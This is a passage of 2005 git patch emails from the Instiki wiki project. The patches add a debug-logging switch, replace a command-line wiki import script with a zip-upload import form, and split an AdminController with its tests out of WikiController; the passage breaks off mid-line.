config/environment.rb | 8 +++++++- script/server | 41 ++++++++++++++++++----------------------- 2 files changed, 25 insertions(+), 24 deletions(-) diff --git a/config/environment.rb b/config/environment.rb index af16b33d..40fe2d51 100644 --- a/config/environment.rb +++ b/config/environment.rb @@ -50,8 +50,14 @@ require 'instiki_errors' unless defined? RAILS_DEFAULT_LOGGER RAILS_DEFAULT_LOGGER = Logger.new(STDERR) - RAILS_DEFAULT_LOGGER.level = Logger::INFO ActionController::Base.logger ||= RAILS_DEFAULT_LOGGER + if defined? INSTIKI_DEBUG_LOG and INSTIKI_DEBUG_LOG + RAILS_DEFAULT_LOGGER.level = Logger::DEBUG + ActionController::Base.logger.level = Logger::DEBUG + else + RAILS_DEFAULT_LOGGER.level = Logger::INFO + ActionController::Base.logger.level = Logger::INFO + end end # Environment-specific configuration. diff --git a/script/server b/script/server index a812b42f..de19debb 100755 --- a/script/server +++ b/script/server @@ -29,14 +29,11 @@ ARGV.options do |opts| opts.on('-b', '--binding=ip', String, 'Binds Rails to the specified ip.', 'Default: 127.0.0.1') { |OPTIONS[:ip]| } - opts.on('-i', '--index=controller', String, - 'Specifies an index controller that requests for root will go to (instead of congratulations screen).' - ) { |OPTIONS[:index_controller]| } opts.on('-e', '--environment=name', String, 'Specifies the environment to run this server under (test/development/production).', 'Default: production') { |OPTIONS[:environment]| } opts.on('-d', '--daemon', - 'Make Rails run as a Daemon (only works if fork is available -- meaning on *nix).' + 'Make Instiki run as a Daemon (only works if fork is available -- meaning on *nix).' ) { OPTIONS[:server_type] = WEBrick::Daemon } opts.on('-s', '--simple', '--simple-server', '[deprecated] Forces Instiki not to run as a Daemon if fork is available.', @@ -57,27 +54,25 @@ ARGV.options do |opts| opts.parse! end -ENV['RAILS_ENV'] = OPTIONS[:environment] -require File.expand_path(File.dirname(__FILE__) + '/../config/environment') - -if OPTIONS[:verbose] - ActionController::Base.logger.level = Logger::DEBUG -end - -OPTIONS[:index_controller] = 'wiki' -require 'webrick_server' - if OPTIONS[:environment] == 'production' - storage_path = OPTIONS[:storage] + "/" + OPTIONS[:port].to_s -else - storage_path = OPTIONS[:storage] + "/" + OPTIONS[:environment] + "/" + OPTIONS[:port].to_s + storage_path = "#{OPTIONS[:storage]}/#{OPTIONS[:port]}" +else + storage_path = "#{OPTIONS[:storage]}/#{OPTIONS[:environment]}/#{OPTIONS[:port]}" end FileUtils.mkdir_p(storage_path) -puts "=> Starting Instiki on http://#{OPTIONS[:ip]}:#{OPTIONS[:port]}" -puts "=> Data files are stored in #{storage_path}" - -require 'application' +ENV['RAILS_ENV'] = OPTIONS[:environment] +INSTIKI_DEBUG_LOG = OPTIONS[:verbose] +require File.expand_path(File.dirname(__FILE__) + '/../config/environment') WikiService.storage_path = storage_path -ApplicationController.wiki = WikiService.instance -DispatchServlet.dispatch(OPTIONS) +require 'application' + +unless defined? INSTIKI_BATCH_JOB + puts "=> Starting Instiki on http://#{OPTIONS[:ip]}:#{OPTIONS[:port]}" + puts "=> Data files are stored in #{storage_path}" + + OPTIONS[:index_controller] = 'wiki' + require 'webrick_server' + ApplicationController.wiki = WikiService.instance + DispatchServlet.dispatch(OPTIONS) +end From c1b04185a66decaca8765580037313830053c8db Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 25 Jan 2005 22:13:14 +0000 Subject: [PATCH 119/529] First attempt at an "import wiki" script (causes regexp stack overflows in RedCloth 2 on Win32; reason unknown) --- script/import_wiki.rb | 85 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 85 insertions(+) create mode 100644 script/import_wiki.rb diff --git a/script/import_wiki.rb b/script/import_wiki.rb new file mode 100644 index 00000000..e0925841 --- /dev/null +++ b/script/import_wiki.rb @@ -0,0 +1,85 @@ +require 'optparse' + +puts 'Instiki import' +puts + +ARGV << '-t' << 'tmp-instiki' << '/rails.zip' + +IMPORT_OPTIONS = { + +} + +argv_before_parsing_by_import = ARGV.dup + +ARGV.options do |opts| + script_name = File.basename($0) + opts.banner = "Usage: ruby #{script_name} [options] [import file]" + + opts.separator '' + + opts.on('-w', '--web-address', + 'Web address to import ' + ) { IMPORT_OPTIONS[:web] } + opts.on('-t', '--storage=storage', String, + 'Makes Instiki use the specified directory for storage.', + 'Default: ./storage/[port]') { |IMPORT_OPTIONS[:storage]| } + + opts.separator '' + + opts.on('-h', '--help', + 'Show this help message.') { puts opts; exit } + + opts.parse! +end + +raise 'Please specify the import file' if ARGV.empty? +import_file = ARGV.last +raise "Import file not found: #{import_file}" unless File.file?(import_file) +raise "Can not read import file: #{import_file}" unless File.readable?(import_file) + +raise 'Please specify the storage path' unless IMPORT_OPTIONS[:storage] + +INSTIKI_BATCH_JOB = true +ARGV.clear +argv_before_parsing_by_import.each { |arg| ARGV << arg } + +load "#{File.dirname(__FILE__)}/server" + +wiki = WikiService.instance + +web_address = IMPORT_OPTIONS[:web] + +if web_address.nil? + if wiki.webs.empty? + puts "Instiki storage at #{IMPORT_OPTIONS[:storage]} is new (no webs)." + puts "Creating a new web named 'wiki', without a password" + web = wiki.create_web('Wiki', 'wiki') + elsif wiki.webs.values.size == 1 + web = wiki.webs.values.first + puts "Instiki storage at #{IMPORT_OPTIONS[:storage]} contains one web, '#{web.address}'." + puts "Pages are imported into this web" + end +else + web = wiki.webs[web_address] + if web.nil? + raise "Instiki storage at #{IMPORT_OPTIONS[:storage]} has no web named '#{web_address}'" + end +end + +zip = Zip::ZipInputStream.open(import_file) + +while (entry = zip.get_next_entry) do + ext_length = File.extname(entry.name).length + page_name = entry.name[0..-(ext_length + 1)] + page_content = entry.get_input_stream.read + + puts "Processing page '#{page_name}'" + + if wiki.read_page(web_address, page_name) + wiki.revise_page(web.address, page_name, page_content, Time.now, 'Importer') + else + wiki.write_page(web.address, page_name, page_content, Time.now, 'Importer') + end +end + +puts "Import finished" From 3e4154de8245a66847e0fe2f336f33b589cce9d2 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Wed, 26 Jan 2005 01:02:39 +0000 Subject: [PATCH 120/529] fixed a problem where Instiki wouldn't start because require 'application' was before require 'webrick_server' (?) --- script/server | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/script/server b/script/server index de19debb..71cd6805 100755 --- a/script/server +++ b/script/server @@ -65,14 +65,17 @@ ENV['RAILS_ENV'] = OPTIONS[:environment] INSTIKI_DEBUG_LOG = OPTIONS[:verbose] require File.expand_path(File.dirname(__FILE__) + '/../config/environment') WikiService.storage_path = storage_path -require 'application' -unless defined? INSTIKI_BATCH_JOB +if defined? INSTIKI_BATCH_JOB + require 'application' +else puts "=> Starting Instiki on http://#{OPTIONS[:ip]}:#{OPTIONS[:port]}" puts "=> Data files are stored in #{storage_path}" - OPTIONS[:index_controller] = 'wiki' require 'webrick_server' + require 'application' + + OPTIONS[:index_controller] = 'wiki' ApplicationController.wiki = WikiService.instance DispatchServlet.dispatch(OPTIONS) end From 06daadc7df6da13828696d0b80d756f10b13717c Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 27 Jan 2005 03:55:19 +0000 Subject: [PATCH 121/529] Reshaped "import wiki" feature from command-line to web interface --- app/controllers/application.rb | 2 +- app/controllers/file_controller.rb | 38 +++++++++++++ app/models/file_yard.rb | 2 + app/views/file/import.rhtml | 23 ++++++++ libraries/url_rewriting_hack.rb | 3 +- script/import_wiki.rb | 85 ---------------------------- test/unit/url_rewriting_hack_test.rb | 4 +- 7 files changed, 69 insertions(+), 88 deletions(-) create mode 100644 app/views/file/import.rhtml delete mode 100644 script/import_wiki.rb diff --git a/app/controllers/application.rb b/app/controllers/application.rb index 42c1abe2..670bea1e 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -71,7 +71,7 @@ class ApplicationController < ActionController::Base not @web_name.nil? end - @@REMEMBER_NOT = ['locked', 'save', 'back', 'file', 'pic'] + @@REMEMBER_NOT = ['locked', 'save', 'back', 'file', 'pic', 'import'] def remember_location if @response.headers['Status'] == '200 OK' unless @@REMEMBER_NOT.include? action_name or @request.method != :get diff --git a/app/controllers/file_controller.rb b/app/controllers/file_controller.rb index 6d37744d..b09a0d29 100644 --- a/app/controllers/file_controller.rb +++ b/app/controllers/file_controller.rb @@ -45,6 +45,44 @@ class FileController < ApplicationController end end + def import + check_authorization + if @params['file'] + logger.info 'Importing pages from a file' + import_file_name = "#{@web.address}-import-#{Time.now.strftime('%Y-%m-%d-%H-%M-%S')}.zip" + file_yard.upload_file(import_file_name, @params['file']) + zip = Zip::ZipInputStream.open(file_yard.file_path(import_file_name)) + problems = [] + while (entry = zip.get_next_entry) do + ext_length = File.extname(entry.name).length + page_name = entry.name[0..-(ext_length + 1)] + page_content = entry.get_input_stream.read + + logger.info "Processing page '#{page_name}'" + begin + if @wiki.read_page(@web.address, page_name) + logger.info "Page '#{page_name}' already exists. Adding a new revision to it." + wiki.revise_page(@web.address, page_name, page_content, Time.now, 'Importer') + else + wiki.write_page(@web.address, page_name, page_content, Time.now, 'Importer') + end + rescue Instiki::ValidationError => e + logger.error(e) + problems << e.message + end + end + logger.info 'Import finished' + if problems.empty? + flash[:info] = 'Import successfully finished' + else + flash[:info] = "Import finished, but some pages were not imported:
      • " + + problems.join('
      • ') + '
      • ' + end + return_to_last_remembered + else + # to template + end + end protected diff --git a/app/models/file_yard.rb b/app/models/file_yard.rb index 9f6ca101..db617238 100644 --- a/app/models/file_yard.rb +++ b/app/models/file_yard.rb @@ -1,3 +1,4 @@ +require 'fileutils' require 'instiki_errors' class FileYard @@ -6,6 +7,7 @@ class FileYard def initialize(files_path) @files_path = files_path + FileUtils.mkdir_p(files_path) unless File.exist?(files_path) @files = Dir["#{files_path}/*"].collect{|path| File.basename(path) if File.file?(path) }.compact end diff --git a/app/views/file/import.rhtml b/app/views/file/import.rhtml new file mode 100644 index 00000000..251ffc28 --- /dev/null +++ b/app/views/file/import.rhtml @@ -0,0 +1,23 @@ +

        +<%= form_tag({}, {:multipart => true}) %> +

        + File to upload: +
        + +

        +

        + System password: +
        + +

        +

        + as + + <% if @page %> + | Cancel (unlocks page) + <% end %> + +

        +<%= end_form_tag %> +

        \ No newline at end of file diff --git a/libraries/url_rewriting_hack.rb b/libraries/url_rewriting_hack.rb index f7ad1c50..746ceaab 100644 --- a/libraries/url_rewriting_hack.rb +++ b/libraries/url_rewriting_hack.rb @@ -63,7 +63,8 @@ class DispatchServlet @@action_to_controller_map = { 'file' => 'file', - 'pic' => 'file' + 'pic' => 'file', + 'import' => 'file' } def self.map_to_controller(action) diff --git a/script/import_wiki.rb b/script/import_wiki.rb deleted file mode 100644 index e0925841..00000000 --- a/script/import_wiki.rb +++ /dev/null @@ -1,85 +0,0 @@ -require 'optparse' - -puts 'Instiki import' -puts - -ARGV << '-t' << 'tmp-instiki' << '/rails.zip' - -IMPORT_OPTIONS = { - -} - -argv_before_parsing_by_import = ARGV.dup - -ARGV.options do |opts| - script_name = File.basename($0) - opts.banner = "Usage: ruby #{script_name} [options] [import file]" - - opts.separator '' - - opts.on('-w', '--web-address', - 'Web address to import ' - ) { IMPORT_OPTIONS[:web] } - opts.on('-t', '--storage=storage', String, - 'Makes Instiki use the specified directory for storage.', - 'Default: ./storage/[port]') { |IMPORT_OPTIONS[:storage]| } - - opts.separator '' - - opts.on('-h', '--help', - 'Show this help message.') { puts opts; exit } - - opts.parse! -end - -raise 'Please specify the import file' if ARGV.empty? -import_file = ARGV.last -raise "Import file not found: #{import_file}" unless File.file?(import_file) -raise "Can not read import file: #{import_file}" unless File.readable?(import_file) - -raise 'Please specify the storage path' unless IMPORT_OPTIONS[:storage] - -INSTIKI_BATCH_JOB = true -ARGV.clear -argv_before_parsing_by_import.each { |arg| ARGV << arg } - -load "#{File.dirname(__FILE__)}/server" - -wiki = WikiService.instance - -web_address = IMPORT_OPTIONS[:web] - -if web_address.nil? - if wiki.webs.empty? - puts "Instiki storage at #{IMPORT_OPTIONS[:storage]} is new (no webs)." - puts "Creating a new web named 'wiki', without a password" - web = wiki.create_web('Wiki', 'wiki') - elsif wiki.webs.values.size == 1 - web = wiki.webs.values.first - puts "Instiki storage at #{IMPORT_OPTIONS[:storage]} contains one web, '#{web.address}'." - puts "Pages are imported into this web" - end -else - web = wiki.webs[web_address] - if web.nil? - raise "Instiki storage at #{IMPORT_OPTIONS[:storage]} has no web named '#{web_address}'" - end -end - -zip = Zip::ZipInputStream.open(import_file) - -while (entry = zip.get_next_entry) do - ext_length = File.extname(entry.name).length - page_name = entry.name[0..-(ext_length + 1)] - page_content = entry.get_input_stream.read - - puts "Processing page '#{page_name}'" - - if wiki.read_page(web_address, page_name) - wiki.revise_page(web.address, page_name, page_content, Time.now, 'Importer') - else - wiki.write_page(web.address, page_name, page_content, Time.now, 'Importer') - end -end - -puts "Import finished" diff --git a/test/unit/url_rewriting_hack_test.rb b/test/unit/url_rewriting_hack_test.rb index da1317b2..515ef974 100755 --- a/test/unit/url_rewriting_hack_test.rb +++ b/test/unit/url_rewriting_hack_test.rb @@ -83,7 +83,9 @@ class UrlRewritingHackTest < Test::Unit::TestCase ur.rewrite(:controller => 'file', :action => 'pic', :id => 'abc.jpg') assert_equal 'http://test.host/web/pic/abc.jpg', ur.rewrite(:web => 'web', :controller => 'file', :action => 'pic', :id => 'abc.jpg') - + assert_equal 'http://test.host/web/import', + ur.rewrite(:web => 'web', :controller => 'file', :action => 'import') + # default option is wiki assert_equal 'http://test.host/unknown_action', ur.rewrite(:controller => 'wiki', :action => 'unknown_action') From 785276efc1a047d79006aa23286ef6e3b8da5ca3 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 27 Jan 2005 04:14:41 +0000 Subject: [PATCH 122/529] bit better error handling in file/import --- app/controllers/file_controller.rb | 54 ++++++++++++++++-------------- 1 file changed, 28 insertions(+), 26 deletions(-) diff --git a/app/controllers/file_controller.rb b/app/controllers/file_controller.rb index b09a0d29..daa08b49 100644 --- a/app/controllers/file_controller.rb +++ b/app/controllers/file_controller.rb @@ -10,7 +10,6 @@ class FileController < ApplicationController def file check_path - if @params['file'] # form supplied file_yard.upload_file(@file_name, @params['file']) @@ -48,35 +47,15 @@ class FileController < ApplicationController def import check_authorization if @params['file'] - logger.info 'Importing pages from a file' + @problems = [] import_file_name = "#{@web.address}-import-#{Time.now.strftime('%Y-%m-%d-%H-%M-%S')}.zip" file_yard.upload_file(import_file_name, @params['file']) - zip = Zip::ZipInputStream.open(file_yard.file_path(import_file_name)) - problems = [] - while (entry = zip.get_next_entry) do - ext_length = File.extname(entry.name).length - page_name = entry.name[0..-(ext_length + 1)] - page_content = entry.get_input_stream.read - - logger.info "Processing page '#{page_name}'" - begin - if @wiki.read_page(@web.address, page_name) - logger.info "Page '#{page_name}' already exists. Adding a new revision to it." - wiki.revise_page(@web.address, page_name, page_content, Time.now, 'Importer') - else - wiki.write_page(@web.address, page_name, page_content, Time.now, 'Importer') - end - rescue Instiki::ValidationError => e - logger.error(e) - problems << e.message - end - end - logger.info 'Import finished' - if problems.empty? + import_from_archive(file_yard.file_path(import_file_name)) + if @problems.empty? flash[:info] = 'Import successfully finished' else flash[:info] = "Import finished, but some pages were not imported:
      • " + - problems.join('
      • ') + '
      • ' + @problems.join('
      • ') + '
      • ' end return_to_last_remembered else @@ -105,5 +84,28 @@ class FileController < ApplicationController def file_yard @wiki.file_yard(@web) end - + + def import_from_archive(archive) + logger.info "Importing pages from #{archive}" + zip = Zip::ZipInputStream.open(archive) + while (entry = zip.get_next_entry) do + ext_length = File.extname(entry.name).length + page_name = entry.name[0..-(ext_length + 1)] + page_content = entry.get_input_stream.read + logger.info "Processing page '#{page_name}'" + begin + if @wiki.read_page(@web.address, page_name) + logger.info "Page '#{page_name}' already exists. Adding a new revision to it." + wiki.revise_page(@web.address, page_name, page_content, Time.now, @author) + else + wiki.write_page(@web.address, page_name, page_content, Time.now, @author) + end + rescue => e + logger.error(e) + @problems << "#{page_name} : #{e.message}" + end + end + logger.info "Import from #{archive} finished" + end + end From 60dfbd72b71c5f570dc2067022bf8c558ff3716b Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 28 Jan 2005 00:52:37 +0000 Subject: [PATCH 123/529] renamde a test for authenticate with wrong password so that it does not duplicate the name of another test. --- test/functional/wiki_controller_test.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 915a72a7..1c25d107 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -31,7 +31,7 @@ class WikiControllerTest < Test::Unit::TestCase assert_equal ['pswd'], r.cookies['web_address'] end - def test_authenticate + def test_authenticate_wrong_password @web.password = 'pswd' r = process('authenticate', 'web' => 'wiki1', 'password' => 'wrong password') From 9bc9a29789767e870c56938715811498fdbb5bf7 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 28 Jan 2005 01:00:10 +0000 Subject: [PATCH 124/529] corrected a warning prevention condition --- app/models/chunks/wiki.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/models/chunks/wiki.rb b/app/models/chunks/wiki.rb index 6c25b8c9..c277162d 100644 --- a/app/models/chunks/wiki.rb +++ b/app/models/chunks/wiki.rb @@ -70,7 +70,7 @@ module WikiChunk # method will return the WikiWord instead of the usual +nil+. # The +page_name+ method returns the matched WikiWord. class Word < WikiLink - unless defined? WIKI_LINK + unless defined? WIKI_WORD WIKI_WORD = Regexp.new('(":)?(\\\\)?(' + WikiWords::WIKI_WORD_PATTERN + ')\b', 0, "utf-8") end From 88e52ab5a953d5ebec7ba7c97ce05642205c3794 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Fri, 28 Jan 2005 01:24:31 +0000 Subject: [PATCH 125/529] Extracted AdminController from WikiController --- app/controllers/admin_controller.rb | 54 +++++++ app/controllers/application.rb | 5 + app/controllers/wiki_controller.rb | 55 -------- app/views/{wiki => admin}/edit_web.rhtml | 0 app/views/{wiki => admin}/new_system.rhtml | 0 app/views/{wiki => admin}/new_web.rhtml | 0 app/views/wiki/feeds.rhtml | 4 +- libraries/url_rewriting_hack.rb | 8 +- test/functional/admin_controller_test.rb | 155 +++++++++++++++++++++ test/functional/wiki_controller_test.rb | 133 ------------------ 10 files changed, 223 insertions(+), 191 deletions(-) create mode 100644 app/controllers/admin_controller.rb rename app/views/{wiki => admin}/edit_web.rhtml (100%) rename app/views/{wiki => admin}/new_system.rhtml (100%) rename app/views/{wiki => admin}/new_web.rhtml (100%) create mode 100644 test/functional/admin_controller_test.rb diff --git a/app/controllers/admin_controller.rb b/app/controllers/admin_controller.rb new file mode 100644 index 00000000..58cfc7a5 --- /dev/null +++ b/app/controllers/admin_controller.rb @@ -0,0 +1,54 @@ +require 'application' + +class AdminController < ApplicationController + + layout 'default' + + def create_system + @wiki.setup(@params['password'], @params['web_name'], @params['web_address']) unless @wiki.setup? + redirect_show('HomePage', @params['web_address']) + end + + def create_web + if @wiki.authenticate(@params['system_password']) + @wiki.create_web(@params['name'], @params['address']) + redirect_show('HomePage', @params['address']) + else + redirect_to :action => 'index' + end + end + + def edit_web + # to template + end + + def new_system + redirect_to(:action => 'index') if wiki.setup? + # otherwise, to template + end + + def new_web + redirect_to :action => 'index' if wiki.system['password'].nil? + # otherwise, to template + end + + def update_web + if wiki.authenticate(@params['system_password']) + wiki.update_web( + @web.address, @params['address'], @params['name'], + @params['markup'].intern, + @params['color'], @params['additional_style'], + @params['safe_mode'] ? true : false, + @params['password'].empty? ? nil : @params['password'], + @params['published'] ? true : false, + @params['brackets_only'] ? true : false, + @params['count_pages'] ? true : false, + @params['allow_uploads'] ? true : false + ) + redirect_show('HomePage', @params['address']) + else + redirect_show('HomePage') + end + end + +end diff --git a/app/controllers/application.rb b/app/controllers/application.rb index 670bea1e..dd0a2914 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -71,6 +71,11 @@ class ApplicationController < ActionController::Base not @web_name.nil? end + def redirect_show(page_name = @page_name, web = @web_name) + redirect_to :web => web, :controller => 'wiki', :action => 'show', + :id => CGI.escape(page_name || 'HomePage') + end + @@REMEMBER_NOT = ['locked', 'save', 'back', 'file', 'pic', 'import'] def remember_location if @response.headers['Status'] == '200 OK' diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 0e1acc07..b03829d7 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -18,37 +18,6 @@ class WikiController < ApplicationController end end - # Administrating the Instiki setup -------------------------------------------- - - def create_system - @wiki.setup(@params['password'], @params['web_name'], @params['web_address']) unless @wiki.setup? - redirect_show('HomePage', @params['web_address']) - end - - def create_web - if @wiki.authenticate(@params['system_password']) - @wiki.create_web(@params['name'], @params['address']) - redirect_show('HomePage', @params['address']) - else - redirect_to :action => 'index' - end - end - - def edit_web - # to template - end - - def new_system - redirect_to(:action => 'index') if wiki.setup? - # otherwise, to template - end - - def new_web - redirect_to :action => 'index' if wiki.system['password'].nil? - # otherwise, to template - end - - # Outside a single web -------------------------------------------------------- def authenticate @@ -138,26 +107,6 @@ class WikiController < ApplicationController redirect_show(@results.first.name) if @results.length == 1 end - def update_web - if wiki.authenticate(@params['system_password']) - wiki.update_web( - @web.address, @params['address'], @params['name'], - @params['markup'].intern, - @params['color'], @params['additional_style'], - @params['safe_mode'] ? true : false, - @params['password'].empty? ? nil : @params['password'], - @params['published'] ? true : false, - @params['brackets_only'] ? true : false, - @params['count_pages'] ? true : false, - @params['allow_uploads'] ? true : false - ) - redirect_show('HomePage', @params['address']) - else - redirect_show('HomePage') - end - end - - # Within a single page -------------------------------------------------------- def cancel_edit @@ -345,10 +294,6 @@ class WikiController < ApplicationController end end - def redirect_show(page_name = @page_name, web = @web_name) - redirect_to :web => web, :action => 'show', :id => CGI.escape(page_name) - end - def remote_ip ip = @request.remote_ip logger.info(ip) diff --git a/app/views/wiki/edit_web.rhtml b/app/views/admin/edit_web.rhtml similarity index 100% rename from app/views/wiki/edit_web.rhtml rename to app/views/admin/edit_web.rhtml diff --git a/app/views/wiki/new_system.rhtml b/app/views/admin/new_system.rhtml similarity index 100% rename from app/views/wiki/new_system.rhtml rename to app/views/admin/new_system.rhtml diff --git a/app/views/wiki/new_web.rhtml b/app/views/admin/new_web.rhtml similarity index 100% rename from app/views/wiki/new_web.rhtml rename to app/views/admin/new_web.rhtml diff --git a/app/views/wiki/feeds.rhtml b/app/views/wiki/feeds.rhtml index 4b0e07ca..5a3019df 100644 --- a/app/views/wiki/feeds.rhtml +++ b/app/views/wiki/feeds.rhtml @@ -3,6 +3,6 @@

        You can subscribe to this wiki by RSS and get either just the headlines of the pages that change or the entire page.

        diff --git a/libraries/url_rewriting_hack.rb b/libraries/url_rewriting_hack.rb index 746ceaab..35bab3a7 100644 --- a/libraries/url_rewriting_hack.rb +++ b/libraries/url_rewriting_hack.rb @@ -62,9 +62,15 @@ class DispatchServlet class ActionMapper @@action_to_controller_map = { + 'create_system' => 'admin', + 'create_web' => 'admin', + 'edit_web' => 'admin', 'file' => 'file', + 'import' => 'file', + 'new_system' => 'admin', + 'new_web' => 'admin', 'pic' => 'file', - 'import' => 'file' + 'update_web' => 'admin' } def self.map_to_controller(action) diff --git a/test/functional/admin_controller_test.rb b/test/functional/admin_controller_test.rb new file mode 100644 index 00000000..dde7d10d --- /dev/null +++ b/test/functional/admin_controller_test.rb @@ -0,0 +1,155 @@ +#!/bin/env ruby -w + +require File.dirname(__FILE__) + '/../test_helper' +require 'admin_controller' + +# Raise errors beyond the default web-based presentation +class AdminController; def rescue_action(e) logger.error(e); raise e end; end + +class AdminControllerTest < Test::Unit::TestCase + + def setup + setup_test_wiki + setup_controller_test + end + + def tear_down + tear_down_wiki + end + + + def test_create_system + ApplicationController.wiki = WikiServiceWithNoPersistence.new + assert !@controller.wiki.setup? + + process('create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', + 'web_address' => 'my_wiki') + + assert_redirected_to :web => 'my_wiki', :action => 'show', :id => 'HomePage' + assert @controller.wiki.setup? + assert_equal 'a_password', @controller.wiki.system[:password] + assert_equal 1, @controller.wiki.webs.size + new_web = @controller.wiki.webs['my_wiki'] + assert_equal 'My Wiki', new_web.name + assert_equal 'my_wiki', new_web.address + end + + def test_create_system_already_setup + wiki_before = @controller.wiki + assert @controller.wiki.setup? + + process 'create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', + 'web_address' => 'my_wiki' + + assert_redirected_to :web => 'my_wiki', :action => 'show', :id => 'HomePage' + assert_equal wiki_before, @controller.wiki + # and no new wikis shuld be created either + assert_equal 1, @controller.wiki.webs.size + end + + + def test_create_web + @wiki.system[:password] = 'pswd' + + process 'create_web', 'system_password' => 'pswd', 'name' => 'Wiki Two', 'address' => 'wiki2' + + assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' + wiki2 = @wiki.webs['wiki2'] + assert wiki2 + assert_equal 'Wiki Two', wiki2.name + assert_equal 'wiki2', wiki2.address + end + + def test_create_web_default_password + @wiki.system[:password] = nil + + process 'create_web', 'system_password' => 'instiki', 'name' => 'Wiki Two', 'address' => 'wiki2' + + assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' + end + + def test_create_web_failed_authentication + @wiki.system[:password] = 'pswd' + + process 'create_web', 'system_password' => 'wrong', 'name' => 'Wiki Two', 'address' => 'wiki2' + + assert_redirected_to :web => nil, :action => 'index' + assert_nil @wiki.webs['wiki2'] + end + + + def test_edit_web + process 'edit_web', 'web' => 'wiki1' + # this action simply renders a form + assert_success + end + + + def test_new_system + ApplicationController.wiki = WikiServiceWithNoPersistence.new + process('new_system') + assert_success + end + + def test_new_system_system_already_initialized + assert @wiki.setup? + process('new_system') + assert_redirected_to :action => 'index' + end + + + def test_new_web + @wiki.system['password'] = 'pswd' + process 'new_web' + assert_success + end + + def test_new_web_no_password_set + @wiki.system['password'] = nil + process 'new_web' + assert_redirected_to :action => 'index' + end + + + def test_update_web + @wiki.system[:password] = 'pswd' + + process('update_web', 'system_password' => 'pswd', + 'web' => 'wiki1', 'address' => 'renamed_wiki1', 'name' => 'Renamed Wiki1', + 'markup' => 'markdown', 'color' => 'blue', 'additional_style' => 'whatever', + 'safe_mode' => 'on', 'password' => 'new_password', 'published' => 'on', + 'brackets_only' => 'on', 'count_pages' => 'on', 'allow_uploads' => 'on') + + assert_redirected_to :web => 'renamed_wiki1', :action => 'show', :id => 'HomePage' + assert_equal 'renamed_wiki1', @web.address + assert_equal 'Renamed Wiki1', @web.name + assert_equal :markdown, @web.markup + assert_equal 'blue', @web.color + assert @web.safe_mode + assert_equal 'new_password', @web.password + assert @web.published + assert @web.brackets_only + assert @web.count_pages + assert @web.allow_uploads + end + + def test_update_web_opposite_values + @wiki.system[:password] = 'pswd' + + process('update_web', 'system_password' => 'pswd', + 'web' => 'wiki1', 'address' => 'renamed_wiki1', 'name' => 'Renamed Wiki1', + 'markup' => 'markdown', 'color' => 'blue', 'additional_style' => 'whatever', + 'password' => 'new_password') + # safe_mode, published, brackets_only, count_pages, allow_uploads not set + # and should become false + + assert_redirected_to :web => 'renamed_wiki1', :action => 'show', :id => 'HomePage' + assert !@web.safe_mode + assert !@web.published + assert !@web.brackets_only + assert !@web.count_pages + assert !@web.allow_uploads + end + + +end diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 1c25d107..ba4e1925 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -66,66 +66,6 @@ class WikiControllerTest < Test::Unit::TestCase end - def test_create_system - ApplicationController.wiki = WikiServiceWithNoPersistence.new - assert !@controller.wiki.setup? - - process('create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', - 'web_address' => 'my_wiki') - - assert_redirected_to :web => 'my_wiki', :action => 'show', :id => 'HomePage' - assert @controller.wiki.setup? - assert_equal 'a_password', @controller.wiki.system[:password] - assert_equal 1, @controller.wiki.webs.size - new_web = @controller.wiki.webs['my_wiki'] - assert_equal 'My Wiki', new_web.name - assert_equal 'my_wiki', new_web.address - end - - def test_create_system_already_setup - wiki_before = @controller.wiki - assert @controller.wiki.setup? - - process 'create_system', 'password' => 'a_password', 'web_name' => 'My Wiki', - 'web_address' => 'my_wiki' - - assert_redirected_to :web => 'my_wiki', :action => 'show', :id => 'HomePage' - assert_equal wiki_before, @controller.wiki - # and no new wikis shuld be created either - assert_equal 1, @controller.wiki.webs.size - end - - - def test_create_web - @wiki.system[:password] = 'pswd' - - process 'create_web', 'system_password' => 'pswd', 'name' => 'Wiki Two', 'address' => 'wiki2' - - assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' - wiki2 = @wiki.webs['wiki2'] - assert wiki2 - assert_equal 'Wiki Two', wiki2.name - assert_equal 'wiki2', wiki2.address - end - - def test_create_web_default_password - @wiki.system[:password] = nil - - process 'create_web', 'system_password' => 'instiki', 'name' => 'Wiki Two', 'address' => 'wiki2' - - assert_redirected_to :web => 'wiki2', :action => 'show', :id => 'HomePage' - end - - def test_create_web_failed_authentication - @wiki.system[:password] = 'pswd' - - process 'create_web', 'system_password' => 'wrong', 'name' => 'Wiki Two', 'address' => 'wiki2' - - assert_redirected_to :web => nil, :action => 'index' - assert_nil @wiki.webs['wiki2'] - end - - def test_edit r = process 'edit', 'web' => 'wiki1', 'id' => 'HomePage' assert_success @@ -151,13 +91,6 @@ class WikiControllerTest < Test::Unit::TestCase end - def test_edit_web - process 'edit_web', 'web' => 'wiki1' - # this action simply renders a form - assert_success - end - - def test_export_html setup_wiki_with_three_pages @@ -279,32 +212,6 @@ class 